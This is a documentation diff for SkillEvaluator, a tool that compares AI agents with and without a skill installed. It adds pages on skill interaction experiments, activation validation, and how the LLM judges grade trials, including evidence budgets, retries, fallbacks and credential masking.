selected tiers | [CLI Reference](/skills/skillevaluator/cli-reference#validate) and [Gate Your CI](/skills/skillevaluator/ci-integration) | +## Where to go next -The [live evaluation guide](/skills/skillevaluator/tier3-live-evaluation#before-you-start) covers -runtime readiness and the first with-skill and without-skill comparison. -[Installation](/skills/skillevaluator/installation#choosing-extras) explains how to add each extra -to your checkout commands with `uv run --python 3.13 --extra EXTRA`. + + + Measure whether a skill improves an agent's task results. + + + Start with a GitHub or GitLab CI template. + + + Set up Semgrep, SkillSpector, and Gitleaks for the security checks, then run Tier 1. + + + Change the example, introduce a regression, and compare real outputs. + + + +Find overlapping skills with [Tier 2](/skills/skillevaluator/tier2-deduplication), +or learn more about your [reports](/skills/skillevaluator/reports). diff --git a/docs/reports.mdx b/docs/reports.mdx index 34d38d486..22f2c83dd 100644 --- a/docs/reports.mdx +++ b/docs/reports.mdx @@ -722,7 +722,7 @@ completed run directly: With standard grading, `reward.json` records `trajectory_source` (the trajectory or agent log that was graded) and, under each LLM judge's `details`, an `omitted` record showing whether its evidence was truncated to - fit the [evidence budget](/skills/skillevaluator/tier3-live-evaluation#evidence-budgets) or, for + fit the [evidence budget](/skills/skillevaluator/tier3-grading#evidence-budgets) or, for `behavior_check`, the final-response section limit (`SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT`). For `behavior_check`, the record's `reason` names each setting that applied, and @@ -730,14 +730,14 @@ completed run directly: evidence did not reach the judge whole. A `behavior_check` whose required evidence is incomplete is reported as an evaluation error with no score, which also leaves the trial's `overall_score` null; see - [evidence budgets](/skills/skillevaluator/tier3-live-evaluation#evidence-budgets). + [evidence budgets](/skills/skillevaluator/tier3-grading#evidence-budgets). - **`/baseline_timeout_tolerance.json`** — written only for an agent kept scored by `--tolerate-baseline-timeouts`: the baseline attempts that hit the agent execution timeout. `result.json` carries the same record as `agents..baseline_timeout_tolerance`, a refused agent's `agents..baseline_timeout_tolerance_rejection` code, and the run-level `baseline_timeout_tolerance` (tolerated agents and the launch errors they - explain). See [Baseline timeouts](/skills/skillevaluator/tier3-live-evaluation#baseline-timeouts). + explain). See [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts). Read commands (`view`, `compare`, `create-eval-dataset --refine`) honor the @@ -1165,7 +1165,7 @@ a stale `run_config.json` snapshot. Execution status and exit codes are unchange An arm that ran but failed, for example because one baseline attempt hit the agent timeout, fails the agent and the run unless `--tolerate-baseline-timeouts` -keeps the agent scored (see [Baseline timeouts](/skills/skillevaluator/tier3-live-evaluation#baseline-timeouts)), +keeps the agent scored (see [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts)), and the other arm keeps its scores. Reports describe such an arm by how many of its attempts scored, never as not run. In `BENCHMARK.md`, the agent's Overall and dimension cells read `90.0% — baseline incomplete (1 of 2 attempts scored); uplift unavailable`, or @@ -1229,7 +1229,7 @@ Baseline reuse checks configuration and evidence compatibility but deliberately excludes concurrency and budget from its identity. Reused baseline measurements remain historical observations from the source run, not fresh consumption or independent evidence in the current run. Reports retain the source and timestamp; -see [Reuse a baseline](/skills/skillevaluator/tier3-live-evaluation#reuse-a-baseline). +see [Reuse a baseline](/skills/skillevaluator/tier3-run-options#reuse-a-baseline). | Measurement | Meaning | | --- | --- | diff --git a/docs/tier3-experiments.mdx b/docs/tier3-experiments.mdx new file mode 100644 index 000000000..192f4014c --- /dev/null +++ b/docs/tier3-experiments.mdx @@ -0,0 +1,219 @@ +--- +title: "Skill Interaction and Activation Experiments" +description: "Measure skill interactions and validate activation with a reviewed evaluation matrix." +--- + +For your first comparison, start with [Run a live evaluation](/skills/skillevaluator/tier3-live-evaluation). + +## Skill interaction experiments + +Use the opt-in `tier3 interact` command to measure whether selected skills +produce more or less improvement together than the sum of their individual +improvements. Choose one reviewed evaluation source before running: + +```bash +skillevaluator tier3 interact ./skills/research ./skills/summarize \ + --eval-source ./skills/research --agents codex --n-attempts 3 \ + --results-dir ./interaction-results +``` + +`--eval-source` is a skill directory containing an existing valid `evals/` +dataset or native Harbor task suite. The command never generates or refines +tasks. It freezes that source and the selected skills once, then reuses the +existing Harbor evaluator and skill staging to run: + +| Configuration | Installed skills | +| --- | --- | +| Baseline | None | +| Individual | One run for each selected skill alone | +| Combined | Every selected skill together | + +For two skills this is four configurations. For a group of N skills it is +N + 2 configurations, each with the full task suite, selected agents, and the +same `--n-attempts` budget. Early stopping is disabled, including when the source +config enables it. Source-config companion selections, partial task suites, and +`pre_agent_setup` are rejected before execution. Skill roots must have distinct +names and be self-contained: runtime snapshots include each skill's files, +while common task inputs belong in the fixed source's `evals/files/`. Results +must be outside the selected skills and evaluation source. The output root uses +`--results-dir`, then `SKILLEVALUATOR_RESULTS_DIR`, then `interaction-results` +beside the source. User-home shortcuts and symlinked parents are resolved before +checking that the output stays outside the inputs. + +The default outcome metric is `goal_accuracy`; `--metric accuracy` is also +available. These compare task outcomes on the same cases instead of the +standard overall score, whose discovery and skill-usage components differ +between installed-skill and baseline configurations. For `custom_only` grading, +use `--metric overall` with one shared task-outcome grader. + +For two skills, the interaction is: + +```text +I(A, B) = P(A, B) - P(A) - P(B) + P(empty) +``` + +For a selected group S: + +```text +I(S) = [P(S) - P(empty)] - sum(P(skill) - P(empty) for skill in S) +``` + +P is the mean per-case outcome, averaging the fixed number of attempts within +each case first. A positive interaction means more than additive improvement; +a negative interaction means less; zero means additive. For example, baseline +0.50, individual scores 0.75 and 0.70, and combined score 0.65 yield interaction +-0.30 and combined lift +0.15. Negative interaction does not imply performance +below baseline. For more than two skills this is total departure from additive +individual gains, rather than an isolated higher-order interaction. + +These signs describe the observed estimate, without a confidence interval or +statistical significance test. A small interaction can reflect trial noise; +with one attempt on ten binary-outcome cases, one outcome changing in an +individual or combined configuration moves the interaction by 0.10. Configurations +run sequentially: baseline, each individual, then combined. Provider changes, +rate limiting, or timeouts during a long experiment can therefore align with +configuration order. Repeat the experiment before interpreting a small +interaction as a reliable effect. + +The terminal prints baseline, individual and combined scores, combined lift, +and signed interaction separately for each agent/model. Add `--json` for a +machine-readable report on stdout; each configuration's trial progress goes to +stderr. Every experiment +also saves `interaction.json`, its fixed evaluation source, and independent +Tier 3 run directories containing reports, dataset snapshots, and trial +evidence. The interaction report records original source paths, content +identities, per-case calculations, and the reward artifacts used. + +Missing trials, N/A outcomes, changed cases, unequal attempt budgets, or +different agent models, evaluator versions, or outcome scorers produce an +explicit `incomplete` or `incomparable` result with no interaction estimate and +exit code 1. Judge fallback to a different model is incomparable. Multiple +retained reward rows for one logical attempt are also incomparable rather than +being counted as extra attempts. Other completed configuration evidence remains +available for inspection. +## Repeatable activation validation + +Use the existing dataset generator, runner and trusted trajectory collector to +check activation separately from answer quality. Write task requests and +observable outcomes in `eval-guidance.md`, then run +`skillevaluator create-eval-dataset ./my-skill --full --prompt eval-guidance.md`, review the generated +cases, and retain a versioned dataset with these four buckets: + +| Bucket | Authored expectation | What to check | +| --- | --- | --- | +| Explicit | `expected_skill: "my-skill"` | A request naming the skill invokes it. | +| Implicit | `expected_skill: "my-skill"` | An in-scope request without its name still invokes it. | +| Negative | `expected_skill: null` | An unrelated request succeeds without invoking it. | +| Edge | Explicit skill name or `null`, chosen before running | A boundary input follows the skill's documented scope; retain the expected refusal, recovery or output. | + +Template generation with `--no-llm --full` needs an authored negative prompt in +`evals/EVAL.md` to produce the negative bucket. Add the edge case yourself and +make each `expected_skill` explicit. An authored `should_trigger` takes +precedence, including `false` without a skill name. Unlabeled expectations and +positive routing without a target identity remain unknown. Keep task correctness +assertions outcome-oriented; a correct answer alone cannot demonstrate skill use. + +```bash title="Run the reviewed matrix through the normal harness" +skillevaluator tier3 validate ./my-skill --strict +skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker \ + --n-attempts 1 --grading-mode default +``` + +Use an explicit `--agent-model AGENT=MODEL` when needed for your provider. +Repeat with `--grading-mode default_plus_custom` after configuring an authored +custom grader. `--skip-baseline` supports a faster activation-only iteration; +it cannot measure benefit or harm relative to the baseline. `custom_only` +has no trusted standard activation contract and stays unknown in this view. + +Each canonical report trial now includes `activation_validation`: + +- `expected_activation` is true, false, or unknown (`null`). The without-skill + arm expects non-use even for an in-scope task. +- `observed_activation` is `invoked`, `not_invoked`, or `unknown`, using only + the collector's trusted trajectory evidence. `expectation_status` compares + these as `matched`, `mismatched`, or `unknown`. + A standard baseline's explicit null/N/A skill scores do not prevent collecting + trajectory evidence; those scores stay N/A. The arm alone never proves non-use. +- `task_outcome` retains accuracy and goal accuracy independently of routing; + `evidence_scopes[].workflow` retains workflow order, script execution and + recovery diagnostics, and `resources` retains available time/token counters. +- `evidence_scopes[].artifacts` links to the retained reward and trajectory + paths relative to the run directory. Harbor viewer links remain on the trial. + +For fallback multi-step reward rows, the logical observation stays unknown and +`observation_scope` is `reward_rows_only`; individual observations remain in +`evidence_scopes`. This also applies when only one step row survives loading. +A collector-materialized complete root trajectory with the collector-issued +`invocation_evidence_scope: logical_trial` marker can support a logical +observation. Historical rows without a scope marker retain their row evidence +but cannot certify a complete logical observation. Missing or contradictory topology, unresolved subagent references, +and unsupported traces remain unknown. Copied context and unreferenced child +trajectories do not prove execution. `evidence_scopes_complete` describes +whether all loaded row scopes fit in the report, not whether execution was +complete. These fields do not change numeric grading or the existing lift +eligibility policy. + +The following read-only recipe exports both arms from a specific retained run +without calling another model. Replace the run directory with the one printed +by evaluation. Keep this JSON beside the run's `result.json`, `run_config.json`, +`attempt_policy.json` and `dataset_snapshot.json`; together they retain skill, +task, model, harness, environment and grading identities. Review paired task +outcomes for useful, no-benefit or harmful results, and retain the observed +result even when it contradicts the expectation. + +```bash title="Export activation acceptance evidence" +python - ./my-skill ./my-skill/evals/results/RUN_ID > activation-validation.json <<'PY' +import json +import sys +from pathlib import Path +from skillevaluator.evaluation.tier3_report import agent_eval_result_from_directory + +skill, run = (Path(arg).resolve() for arg in sys.argv[1:]) +config = json.loads((run / "run_config.json").read_text()) +result = agent_eval_result_from_directory( + skill, run, + env_mode=config.get("harbor", {}).get("environment", {}).get("value"), + use_llm_judge=False, enforce_embedded_size=False, +) +if result is None: + raise SystemExit("No retained agent results; activation is unknown") +payload = result.metadata["agent_eval"] +rows = [] +for name, agent in payload["agents"].items(): + for condition, key in (("with-skill", "trials"), ("without-skill", "trials_baseline")): + for trial in agent[key]: + rows.append({ + "agent": name, "model": agent["model"], "condition": condition, + "entry_id": trial["entry_id"], "trial_id": trial["trial_id"], + "harbor_viewer": trial.get("harbor_viewer"), + **trial["activation_validation"], + }) +print(json.dumps({ + "run_dir": str(run), "run_id": payload["run_id"], + "skill_name": payload["skill_name"], "dataset_digest": payload["dataset_digest"], + "environment": payload["environment"], "grading": config.get("grading"), + "score_policy": payload["score_policy"], + "execution_status": payload["execution_status"], + "report_truncation": payload.get("report_truncation"), "rows": rows, +}, indent=2, allow_nan=False)) +PY +``` + +A matched routing expectation is not a correctness pass. Unknown observations, +missing rows and truncated reports are incomplete evidence, not successful +non-use. Retain raw trajectories privately: they can contain task inputs and +model outputs even after credential redaction. + +Contributors can repeat the fixture-backed acceptance suite without provider +credentials. It exercises the production collector and report projection, +including correct baseline answers, missed and irrelevant activation, missing +traces, copied context, referenced subagents and multi-step completeness: + +```bash title="Offline acceptance suite from the repository root" +python -m pytest tests/reporting/test_activation_validation.py \ + tests/test_harbor_negative_control_evidence.py \ + tests/test_harbor_collector_multistep_trajectory.py \ + tests/test_checks_routing.py tests/tier3/test_failed_skill_reads.py \ + tests/tier3/test_plugin_signals.py \ + --basetemp="$(mktemp -d)/activation-tests" +``` diff --git a/docs/tier3-grading.mdx b/docs/tier3-grading.mdx new file mode 100644 index 000000000..feb9dd2cc --- /dev/null +++ b/docs/tier3-grading.mdx @@ -0,0 +1,335 @@ +--- +title: "Live Evaluation Grading Reference" +description: "How standard judges use trajectories, evidence budgets, retries, and fallback models." +--- + +For your first comparison, start with [Run a live evaluation](/skills/skillevaluator/tier3-live-evaluation). + +## How standard grading judges a trial + +With `default` or `default_plus_custom` grading, SkillEvaluator's verifier +grades each trial after the agent finishes. `security`, `skill_execution`, and +`skill_efficiency` are deterministic trajectory checks. `accuracy` and +`goal_accuracy` are LLM judges that call the configured evaluator provider. +`behavior_check` combines the behavior judge with directly evaluated declared +checks; a checks-only case makes no behavior judge call. `custom_only` runs +none of them. + +`skill_efficiency` averages skill routing with tool efficiency, the share of +scored tool calls that did productive work. For Claude Code, Codex and OpenCode +tool names, reading, searching, listing, writing, editing or patching files, +running commands and activating a skill are productive, and so are MCP tools +named `mcp__server__tool` (Claude Code). Codex and OpenCode MCP calls are not +recognized as MCP calls yet, so most of them count as wasted. Help, version and +install commands and searches rooted at `/` are wasted. Planning and +bookkeeping calls, such as `TodoWrite`, `update_plan`, task lists, +background-shell polling and sub-agent calls, are not counted, and a trial with +only such calls scores 0.0. [Reports](/skills/skillevaluator/reports) lists the tool classes. + +The three LLM judges return verdicts only, and the verifier computes the +scores. A `score` field in a judge reply is ignored. + +Error recovery distinguishes skill files, agent command errors, and missing +runtime dependencies. Missing tools/modules declared by or used by the skill +are environment problems: recovered failures have no deduction, while an +unrecovered environment failure without an unrecovered skill fault marks the +case `environment_invalid`. `skill_execution` then returns no score, the +verifier skips the judges, and the collector leaves the trial UNSCORED +(excluded from skill score averages). Any unrecovered skill fault in the same +trial is scored as a skill failure instead. Agent-only failures remain +unscored with the environment issue, and are included in its reason and +`evaluation_errors`. Reports include the missing name and dependency +declaration/installation guidance. Declare system tools in +`scripts/apt-packages.txt`, Python packages in `scripts/requirements.txt`, or +install them in `evals/environment/Dockerfile`. Agent-chosen tools the skill +does not use remain agent errors. Missing files inside the skill remain skill +defects (0.25 deduction if recovered); real unrecovered skill/agent failures +still score zero. + +- `accuracy` is passing criteria divided by five. The criteria grade the + outcome: `ACTION_CORRECT`, `FACTUALLY_ACCURATE`, `TASK_ADDRESSED`, + `ACTIONABLE`, and `FORMAT_FOLLOWED` (the response follows any output format + the question explicitly requires; when none is required, it is true only if + the response gives an answer). A response that gives no answer fails all + five criteria and scores `0.0`, unless the expected answer is itself a + refusal. Every case and both arms use the same + five criteria. None of them asks whether the agent named or used the skill; + `skill_execution` scores that. A reply without all five true/false verdicts + is invalid. +- `goal_accuracy` is `1.0` when the judge decides the goal was `achieved` and + `0.0` otherwise, the same binary scale as the RAGAS scorer. +- `behavior_check` includes the share of expected behaviors observed and any + directly evaluated declared checks. When expected behaviors are present, the + reply must judge every behavior exactly once, identified by its 1-based + `step` number; a reply that skips, repeats, or invents a step is invalid. + A checks-only case is evaluated directly without a judge call. + +Rewards record `judge_contract: skill-evaluator-judges-v2`. Results written +before this contract, whose `accuracy` included a `SKILL_IDENTIFIED` criterion, +are not directly comparable with newer ones: a correct no-skill baseline answer +used to be capped at `0.8` on positive cases. + +### The graded trajectory + +The verifier grades Harbor's ATIF `trajectory.json`. When that file is missing +or has no steps, it rebuilds a trajectory from the agent's own log in the +trial's agent log directory, trying `claude-code.txt`, `cursor-cli.txt`, +`cline.txt`, `opencode.txt`, and `codex.txt` in that order: + +- `opencode.txt` is OpenCode's JSON event stream. Text events become agent + messages, and completed tool events become tool calls whose output keeps the + tool's status, exit code, and error text. +- `codex.txt` is the Codex JSON event log. Shell commands, file changes, MCP + tool calls, `web_search` actions (with the full search, open-page, or + find-in-page payload), and `collab_tool_call` items become tool calls. Failed + commands keep their `status=failed` and `exit_code=` evidence, so + error-recovery checks still see them. + +Each trial's reward records the artifact it graded in `trajectory_source`. If +neither `trajectory.json` nor a supported log yields any steps, the reward +records `No trajectory or reconstructible agent log`. Custom graders read +`trajectory.json` directly and do not get this rebuild. + +### Character-sensitive judging + +Set `SKILL_EVAL_JUDGE_CHARACTER_FACTS=1` in the evaluator's host environment to +append character facts to the `accuracy`, `goal_accuracy`, and `behavior_check` +prompts. For example, a literal U+00A0 (NO-BREAK SPACE) in code can look like an +ordinary U+0020 space even when the task treats them differently. The metadata +identifies non-ASCII whitespace and Unicode format (`Cf`) characters by code +point, Unicode name, position, and ASCII-escaped context. Their presence alone +does not indicate an error; the task determines which characters are permitted. + +The original prompt and evidence remain intact. Metadata is added separately, +after evidence selection and compaction, with up to 20 occurrences per field +and 20 code points of context on either side. Additional occurrences are counted. +The metadata adds prompt tokens beyond the evidence budgets below. +Line and column positions are one-based Unicode code points in that field; only +LF advances the line number. Metadata cannot recover characters removed by +earlier processing, and does not identify all invisible or look-alike characters. + +The option is disabled by default. Enabling it selects the prompt-based goal +judge instead of the optional RAGAS route, so keep this setting consistent when +comparing scores. Facts can help a judge interpret evidence but do not guarantee +correct judgments. Prefer executable checks for requirements they can verify. + +### Evidence budgets + +Each LLM judge sees a bounded evidence bundle drawn from the trajectory rather +than the full transcript. Sections are added in priority order until the +judge's character budget runs out, so lower-priority sections are dropped or +clipped first: + +| Judge | Evidence, highest priority first | Budget variable | +| --- | --- | --- | +| `accuracy` | Final response, produced files and writes, the six most recent tool results | `SKILL_EVAL_ACCURACY_BUDGET` | +| `goal_accuracy` | Final response, end-state file changes, the twelve most recent tool results | `SKILL_EVAL_GOAL_ACCURACY_BUDGET` | +| `behavior_check` | File changes, final response (capped by `SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT`), the user request, and a compact tool history | `SKILL_EVAL_BEHAVIOR_CHECK_BUDGET` | + +When the case's expected output or assertions contain a backtick-quoted +snippet of four or more characters, or an output path under +`/workspace/output`, `/output`, or `/logs/agent`, every bundle starts with a +short deterministic fact list marking each one observed or not observed in the +agent's tool calls. + +A judge can score only what its bundle contains. Evidence that was dropped or +clipped cannot count, so on a long trajectory a behavior that appears only in +truncated history can be judged as not observed. In the results tree, each +judge's details in a trial's `reward.json` include an `omitted` record +(`count`, `truncated`, and `reason`); when `truncated` is `true` on cases that +matter, raise that judge's budget. For `behavior_check`, the reason names each +setting that cut evidence: `SKILL_EVAL_BEHAVIOR_CHECK_BUDGET`, +`SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT`, or both. Raise each setting it +names; raising the budget does not clear a cut made by the final-response +limit. Larger budgets send longer judge prompts and use more evaluator +tokens. The *default* behavior budget never falls below the final-response +limit plus 4,000 characters, so raising the limit alone leaves room for the +tool history; a budget you set yourself is used exactly as set. Set these +variables in the host environment; +SkillEvaluator forwards them to the verifier. Defaults and accepted values are +in [Judge evidence budgets](/skills/skillevaluator/environment-variables#judge-evidence-budgets). + +`behavior_check`'s `omitted` record carries four further keys, because +`truncated` alone cannot say whether the judge still had what it needed: + +- `incomplete_sections` — the evidence sections whose complete source did not + reach the judge, by name: `final response`, `user request`, `file changes`, + `compact tool history`. Each is compared against its unclipped source, so + `file changes` and `compact tool history` also appear when a single write + body or tool result was longer than its own per-entry allowance, not only + when the overall budget was exceeded. +- `required_complete` and `required_missing` — whether the *required* + evidence survived. Only `final response` is required: file changes and the + tool history grow with the run, so any finite budget shortens them on a long + trajectory, and their loss is reported but never withholds a score. +- `expected_behaviors_verified` — whether the deterministic fact list already + settles every expected behavior, in which case the evidence that was cut + cannot change the judge's answer. + +When `required_complete` is `false`, `behavior_check` returns an evaluation +error with no score instead of grading the evidence loss as a behavior +failure, and **the case then has no overall score at all** — an unscored +metric that is not "not applicable" leaves `overall_score` null, so the case +drops out of any gate or comparison keyed on it. Raise the two settings the +`reason` names, or shorten the case, and re-run. The one exception is +`expected_behaviors_verified`: when every expected behavior names an artifact +path or backtick-quoted snippet that the deterministic fact list above the +evidence already marks observed, the missing text cannot change the answer, so +the case is judged and scored normally. + +### Judge requests and retries + +- **Structured output.** Each judge requests a fixed JSON schema. OpenAI and + OpenAI-compatible chat-completions endpoints, including NVIDIA Build, receive + a strict JSON Schema `response_format`; Anthropic `/v1/messages` receives + `output_config`. Bedrock judges use prompt-only JSON. +- **Automatic downgrade.** If an endpoint rejects the schema option itself + with HTTP 400 or 422 (for example, `response_format` is unsupported, or a + gateway turned the schema into a `tool_choice` the model rejects), the + judge repeats that request without the schema and logs a warning. It then + skips the schema for that provider, endpoint, and model for the remaining + judge calls in that verifier run. Other 400 and 422 errors are not + downgraded. +- **Reply validation.** Replies are checked against the expected fields either + way. An empty, unparseable, or invalid reply, including an empty reply from a + reasoning model that ran out of output tokens, gets one retry that names the + problem, for example `steps not judged: [2]`. `behavior_check` can also + salvage complete per-behavior results from a truncated reply and counts the + missing behaviors as not passed. +- **Saved judge evidence.** The verifier writes every judge attempt to + `judge_attempts.json` next to the trial's `skill_evaluator_reward.json` as it + happens, so the file also explains a judge that failed. Each entry records + the metric, attempt number, method (`llm`, `ragas`, or `salvage`), judge + model, status (`accepted`, `rejected`, `replied`, or `error`), and problem, + along with the prompt and reply. When `behavior_check` is scored from a + truncated reply, the LLM attempts keep their own status (`rejected`, or + `error` if the retry failed in transport), and an `accepted` `salvage` + entry, numbered like the truncated attempt, holds the rebuilt results. + When the RAGAS goal scorer runs, each request it sends is saved as a `ragas` + entry with its messages as the prompt and the model named in the request. A + `replied` entry holds the judge's reply: the text or the tool-call arguments + RAGAS parses, or the whole reply body when it has neither, such as a refusal + or a content-filter stop. An `error` entry holds the HTTP status and body, + or the reason the reply was not received. A request that fails before any + response arrives, such as a refused connection, saves no entry of its own. A + last `ragas` entry is `accepted` with the score RAGAS computed, or `error` + with the reason the prompt judge ran instead. Only that last entry counts + toward `--max-judge-calls`; the request entries do not. Configured + credentials, common key shapes, URL userinfo, `Authorization`, API-key, + token and `Cookie` header values, and credential flag values (`--token`, + `--password`, `curl -u user:password`) are masked, also at the start of a + line in JSON-escaped text such as RAGAS prompts, where a line break is the + two characters `\n`, and inside JSON-escaped quotes (`-u \"user:password\"`), + as in tool-call arguments. That includes a value whose flag or header name + was masked together with an unquoted credential value that ends the line + before (`--password ...\n--token ...`). Values whose quotes are escaped twice + or three times, as when a RAGAS prompt repeats a tool call's arguments, and + single-quoted values whose quotes are escaped once or twice, as in Python + source (`[\'--password\', \'...\']`), are masked too. Long prompts and + replies are shortened. The prompts contain the task question, expected + answer, and agent evidence. Pass `--harbor-keep-jobs` to keep the Harbor + trial directories that hold this file. +- **Reasoning models.** GPT-5 and GPT-6 judges get no `temperature` and at + least 32,768 output tokens, because reasoning tokens count against the + limit; other judges get 16,384. GPT-6 judges and Claude 5.5 or later judges + on the Anthropic API are sent reasoning effort `medium`; other models keep + their default effort. +- **Refusals.** A safety-classifier refusal is never scored as an answer. On + the native Claude API, Claude 5.5 or later judges use server-side fallback to + `claude-opus-4-8`, and on Bedrock a filtered Claude 5.5 reply is retried + once on Claude Opus 4.8 in the same geography. + `SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL` changes that target, or turns it off + with `none`; a target equal to the judge model is never sent. A refusal or an empty reply + then moves on to the next `LLM_JUDGE_FALLBACK_MODELS` entry, if any. + Each judge's details in the trial's `skill_evaluator_reward.json` record + `judge_model_used`, `judge_reasoning_effort`, and `judge_fallback_used`. + When a case uses different judge models across its two conditions, + repeated attempts, or scoring steps of a multi-step task, it is left out of + that judge metric's Skill Lift and counted in `judge_mixed_cases` in + `lift.json`. The arm scores keep all scored cases; the affected evaluator, + dimension, and overall lift use the remaining eligible comparisons. +- **RAGAS goal scorer.** With the `openai` provider on the canonical + `https://api.openai.com/v1` endpoint and a judge model that is not a GPT-5 or + GPT-6 reasoning model, `goal_accuracy` first tries the RAGAS + `AgentGoalAccuracyWithReference` scorer through its own client, without the + schema or retry handling above but within the same time budget. A RAGAS + score is recorded with `"method": "ragas"` and the judge-model fields above. + If RAGAS is unavailable, fails, or returns a score other than `0.0` or + `1.0`, the verifier log shows a warning with the redacted error, and the + prompt judge runs instead (`"method": "custom"`). A case scored by RAGAS in + one condition and by the prompt judge in the other counts as a judge mix + even with the same model, so it is left out of the `goal_accuracy` lift the + same way. +- **Transient failures.** HTTP 408, 429, and every 5xx response except 501 and + 505 are retried, including 520–524 proxy errors and 529 overload responses. + Connection errors, timeouts, and Bedrock throttling or service-unavailable + errors are also retried with jittered exponential backoff. TLS certificate + verification failures are terminal, including when an SDK wraps them as a + generic connection or service-unavailable error. A `Retry-After` header, + in seconds or as an HTTP date, sets the wait; a value + above the maximum retry delay fails immediately instead of stalling. +- **Time budget.** Each judge has its own wall-time budget (180 seconds by + default) inside the generated task's 600-second verifier timeout, which + leaves time to write failure artifacts. Requests are cut off at the + deadline, and a retry whose wait would reach it is not attempted. If you + raise the per-judge budget, scale the verifier timeout with + `--timeout-multiplier` so the three judges still fit. + +Retry counts, delays, and the per-judge budget come from the host environment +and are forwarded to the verifier; see +[LLM retries and judge time budget](/skills/skillevaluator/environment-variables#llm-retries-and-judge-time-budget). +Retries and downgrades do not change scoring formulas. A judge that still fails +is an evaluation infrastructure failure, not a `0.0` score, and the affected +condition publishes no scores; see +[Tier 3 judge failure semantics](/skills/skillevaluator/environment-variables#tier-3-judge-failure-semantics). + +### Judge fallback and retry policies + +Two opt-in host variables limit which models may answer a standard judge and +how often it is asked. Both default to the behavior above. They are forwarded +like `LLM_JUDGE_FALLBACK_MODELS`: only to standard verifier jobs, never to the +agent environment or `custom_only` runs. + +- **`LLM_JUDGE_FALLBACK_POLICY=replace`.** Only the judge model and your + `LLM_JUDGE_FALLBACK_MODELS` entries answer. The built-in refusal fallback + for Claude 5.5 or later judges (`SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL`, + default `claude-opus-4-8`) is not used, on the native + Claude API or on Bedrock. The default, `append`, keeps it. +- **`LLM_JUDGE_RETRY_POLICY=strict`.** Each judge tries at most three models: + the judge model, then the first two `LLM_JUDGE_FALLBACK_MODELS` entries. It + sends at most two requests to each, and all of them share the judge's time + budget. + - A request that fails with a retryable HTTP status, a connection error, or + Bedrock throttling is retried at most once, then the next model is tried. + A model the provider reports as not found, invalid, or not accessible to + the key moves on without a retry. That covers the errors + `LLM_JUDGE_FALLBACK_MODELS` already falls back on, OpenAI's + `model_not_found`, a Claude `not_found_error` that names the model, and + Bedrock's `AccessDeniedException`, `ResourceNotFoundException`, and + invalid model identifier errors. A `Retry-After` wait above the maximum + retry delay moves on without waiting. A wait or request that would pass + the judge's deadline ends the judge. + - A refusal, a TLS certificate failure, an authentication error, and any + other non-retryable HTTP status end the judge. So does a provider error, + even on HTTP 429, that says a quota, budget, billing, or credit limit was + reached, or that a content filter, safety, or security policy rejected + the request. Only the provider's error code, type, and message are read + (the first 500 characters of a body that is not JSON), and only whole + phrases such as `insufficient_quota`, `budget exceeded`, + `credit balance`, or `content_filter` count, so a model id or proxy host + name in the error does not. These are not retried or handed to another + model, and the built-in refusal fallback is not used either. + - The first completed reply is final. It must be exactly one JSON object, + with only whitespace around it: no prose, Markdown fences, second object, + duplicate key, or `NaN`. An empty, invalid, or truncated reply fails the + judge without the format retry or `behavior_check` salvage, and + `goal_accuracy` skips the RAGAS scorer, which sends its own requests. + - The default, `legacy`, keeps the retries, fallbacks, format retry, and + salvage described above. + +Values are case-insensitive. Any other value stops a run with standard +grading at configuration, before any trial starts. If one still reaches the +verifier, every standard judge fails before a request is sent, so the affected +conditions publish no scores. When set, `run_config.json` records the values as +`judge.fallback_policy` and `judge.retry_policy`. A `custom_only` run does not +read them. diff --git a/docs/tier3-live-evaluation.mdx b/docs/tier3-live-evaluation.mdx index 699c132a0..edd5c2da9 100644 --- a/docs/tier3-live-evaluation.mdx +++ b/docs/tier3-live-evaluation.mdx @@ -1,2397 +1,280 @@ --- -title: "Tier 3: Live Agent Evaluation" -sidebar-title: "Tier 3: Live Evaluation" -description: "Run a real agent with and without your skill in a sandboxed environment, then measure Skill Lift across five dimensions." +title: "Run a Live Evaluation" +sidebar-title: "Tier 3: First run" +description: "Connect a model, run your skill with and without an agent baseline, and open the comparison report." --- -Tier 3 answers the question the other tiers can't: **does your skill actually -make an agent better at the task?** It is the one tier that needs real -infrastructure — model access for the evaluator and selected agent, and -Docker or another sandbox. NVIDIA Build in Docker, Kata, or local mode uses one key -for both roles; OpenAI with Codex can also share its key. This guide takes you from a skill directory to a -finished with-skill vs. without-skill comparison. +Does your skill help an agent complete a task? Run the same tasks **with and +without your skill**, then open a report showing the difference: **Skill Lift**. -## Paired Tier 3 in automatic CI - -The [all-tier CI setup](/skills/skillevaluator/advanced-ci) consumes -committed native `evals/` datasets with full coverage. It runs each selected -case both with and without the skill; it does not use autopilot, generate new -cases, or skip the baseline. Docker is the default, with native local mode as -the other supported CI environment. Cloud backends remain available through -the expert CLI but are outside this onboarding path. - -Tier 3 and Tier 2 are advisory; only Tier 1 gates CI. Onboarding's -`--tier3-required`, GitHub's `tier3-required` input and GitLab's -`SKILL_EVAL_TIER3_REQUIRED` variable are deprecated and ignored, even when true; -they cannot make Tier 3 block CI. CI preserves native -reports for missing credentials, readiness failures and partial runs as well -as completed scores. Native reports include coverage and paired arm evidence, -Skill Lift, attempts, available latency/resource metrics and trial links. An -incomplete advisory result is visible and never described as a completed pass. -See [retained CI evidence](https://github.com/NVIDIA/SkillEvaluator/blob/main/ci/templates/all-tiers/README.md#retained-three-tier-ci-evidence). - -## What a live eval measures - -SkillEvaluator runs a real agent (`codex`, `claude-code`, or `opencode` — -`claude` is accepted as an alias for `claude-code`) against the same eval -cases twice: once with the skill installed -(the with-skill arm) and, unless you pass `--skip-baseline`, once without it -(the baseline arm). Both arms execute inside a selected -[Harbor](https://github.com/harbor-framework/harbor) environment. Harbor is the -open-source agent evaluation framework that runs the trial, so the only -experimental variable is the skill itself. **Skill Lift** is the signed -difference between the two arms — the direct measurement of what your skill -contributes. With multiple attempts per case, **pass@k** adds a reliability -signal alongside it. - -With `default` or `default_plus_custom` grading, reports lead with five -human-readable dimensions: - -| Dimension | Question answered | -| --- | --- | -| Security | Is it safe to use? | -| Correctness | Does it do what it's supposed to? | -| Discoverability | Is it 